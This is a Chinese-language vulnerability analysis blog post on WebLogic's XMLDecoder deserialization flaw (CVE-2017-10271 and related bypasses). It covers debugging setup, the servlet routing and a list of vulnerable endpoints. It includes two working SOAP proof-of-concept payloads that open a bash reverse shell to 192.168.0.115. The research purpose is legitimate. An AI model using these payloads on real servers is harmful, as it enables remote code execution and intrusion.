跟進近幾年weblogic漏洞分析與利用技術,進一步填補自己在Java分析技術方面的空白,本文分析近幾年weblogic爆出的經典漏洞,以及調試環境。
0x01 Weblogic 介紹
Weblogic是一種web伺服器,在很多中小型項目中廣泛使用,和tomcat一樣是一種web容器,是一個基於j2ee架構的中間件。BEA WebLogic是用於開發、集成、部署和管理大型分布式Web應用、網絡應用和資料庫應用的Java應用伺服器。將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中。近年來weblogic不斷爆出了各種反序列化漏洞及補丁繞過漏洞,我也對最近的Weblogic漏洞進行分析和利用。
0x1 漏洞概述
CVE-2017-3506/ CVE-2017-10271/CVE-2019-2725/CVE-2019-2729是同一個漏洞的一系列繞過(這幾個漏洞的觸發過程完全一樣,以為本文主要介紹觸發鏈所以任選其一),本篇主要介紹CVE-2017-10271的漏洞觸發過程,反序列化部分及漏洞補丁繞過方法在其他文章中單獨分析。
0x2 分析內容
重點分析解決在漏洞調試過中的難點
一般分析WebLogic的博客沒有介紹WebLogic Servlet/Webservices機制,本篇通過路由分析Servlet調用機制,尋找漏洞點,完成漏洞利用鏈。
0x02 漏洞環境搭建
為了方便各種漏洞調試工作,分兩種情況搭建調試環境,本地和遠程。分別描述這兩種的搭建細節及注意點。
合天網安實驗室相關實驗推薦--Docker你應該會玩
0x1 本地調試環境
在本地安裝並調試weblogic服務
Step 1 安裝Weblogic
去官網下載相對應版本的Weblogic
Step 2 配置項目信息
添加Weblogic服務,把安裝好的weblogic目錄放在Application Server那一欄,並且輸入安裝時設定的用戶名和密碼。點擊確定
Step 3 運行項目
點擊運行按鈕運行項目,成功後會出現上述頁面。
0x2 遠程調試環境
以docker虛擬環境為基礎調試環境,利用客戶端調試器連接部署在docker容器上的WebLogic服務。
Step 1 打開WebLogic遠程調試
vi /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
重啟docker容器
Step 2 下載項目代碼
遠程調試同樣也需要代碼而且最好和伺服器上的代碼相同,我們從docker容器中將項目代碼拷貝出來
docker cp weblogic:/root/Oracle/Middleware/wlserver_10.3 ./WebLogic_jars
同時將相同目錄下modules目錄拷出
Step 3 配置idea調試器
打開右上角 Edit Configuratoins
Step 4 添加庫
若想調試jar或war包中的內容需要把對應的jar包添加到Libraries中,右鍵相對應的模塊代碼出現下圖,點擊添加即可。
添加庫後的jar包和war包可以看其中反編譯後的代碼
0x03 漏洞調試分析
學習了網上好幾篇分析文檔,沒有說明從一開始的web請求到漏洞觸發的全過程,一般只分析了後面從servlet開始部分,而對前面尋找servlet的過程沒有分析,為了更好的了解漏洞是怎麼形成的,先從CVE-2017-10271開始分析,一步步尋找函數調用鏈,為心中的問題答疑解惑。
0x1 測試poc
利用網上公開的poc測試weblogic服務
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0">
<void>
<array length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.0.115/31 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
通過觀察調用棧可以輕鬆的下斷點進行調試。
0x2 漏洞初步調試
第二步利用poc的調用棧將斷點下在比較深的位置WorkContextXmlInputAdapter的readUTF函數,並根據poc跟蹤觸發過程。
參數var1是post請求內容,利用this.readHeaderOld讀取post中的主題部分,繼續往下跟進。
var4變量是從post stream中讀取的主體部分,也是soap協議要解析的內容。這部分代碼的最後接著把xml內容封裝成類繼續向下傳遞。
下面的調用代碼比較短小,放在一起查看調用鏈。這個點很關鍵WorkContextMapInterceptor的receiveRequest方法,這是不同servlet調用漏洞點的最小單元,換個說法一旦有servlet調用這個類的方法就有可能觸發漏洞。
最後在這裡觸發反序列化,將xml中的內容解析成了對象,並執行其中的惡意代碼。
0x3 調試中思考的問題
1.漏洞產生的原因及位置
2.url對應的路由問題
3.完整觸發過程是怎麼樣的
漏洞產生的原因及位置
網上絕大部分文章說漏洞產生的原因是Weblogic的WLS Security組件產生了問題,存在問題的組件有wls-wsat.war和bea_wls9_async_response.war。這麼說來漏洞位置在組件中了?並不是想像中的那樣,具體來說漏洞產生在組件的路由中。我們先看一下其中的一個組件
標準的web.xml url與servlet對應關係,打開其中一個servlet-class我們可以看到使用了webService 解析soap請求並且綁定了處理協議的路由。
所以就可以這麼說,漏洞並不在組件中,而在於servlet請求處理中,所以只要能出發該servlet並帶有poc代碼就可以觸發漏洞,這個結論才是對的。還記得在上個小節中的關鍵類WorkContextMapInterceptor的receiveRequest方法嗎?我們找到了其他的觸發路由都調用了該方法進行處理soap內容
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/CoordinatorPortType
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
/_async/AsyncResponseServiceJms
/_async/AsyncResponseService
/_async/AsyncResponseServiceHttps
那麼從項目中發現了大量可以觸發漏洞的路由。_async屬於bea_wls9_async_response.war中的路由,觸發代碼也和wls不同,poc如下
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131">
<void>
<array length="3">
<void index="0">
<string>bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.0.115/31 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>
將兩個的調用棧放在一起對比可以看出一個關鍵的函數
由以上可以看出漏洞出現在解析xml的函數上,觸發在servlet路由上,所以找到使用WorkContextMapInterceptor的servlet就可以觸發漏洞。
url對應的路由問題
在調試的時候心中有個問題,url和JAXWSServlet/BaseWSServlet是怎麼對應上的。理解這個問題先要看*Servlet是怎麼出來的。
因為這一塊不是分析重點所以簡化描述過程,在StandardURLMapping的getExactOrPathMatch方法有個根據url尋找Object,首先會在matchMap中尋找一遍,找到之後就把值給var4,接著傳遞給var5,就會完成一次servlet查找
將url按照/進行分批查找,例如/wls-wsat/RegistrationPortTypeRPC,會首先查找wls-wsat這個war包,然後第二次匹配包中的RegistrationPortTypeRPC類,如下圖所示
分析到這心中又出現了一個問題,最終生成的是 JAXWSWebAppServlet 而不是JAXWSServlet這是為什麼呢?其實通過代碼可以找到答案
JAXWSWebAppServlet是JAXWSServlet的子類,在子類調用自身不存在的方法時就會從父類中尋找並調用。
完整觸發過程是怎麼樣的
完整的觸發過程自然的分為兩步,servlet生成和servlet調用,通過weblogic.kernel中的線程生成對應的servlet,如下表
url servlet
/_async/AsyncResponseServiceHttps WebappWSServlet
/wls-wsat/RegistrationRequesterPortType11 JAXWSWebAppServlet
接著會把函數棧清空,然後調用weblogic.work線程執行servlet,從而觸發在servlet中解析soap請求的xmlDecoder.readObject函數。具體過程如下圖:
包含payload的InputStream如下圖:
0x04 總結
通過此次漏洞調試掌握了以下內容
1.weblogic框架調試以及intellij Idea調試技巧
2.weblogic servlet初步分析
3.輸入數據流追蹤技術&漏洞觸發過程分析
還有接下來要做的事情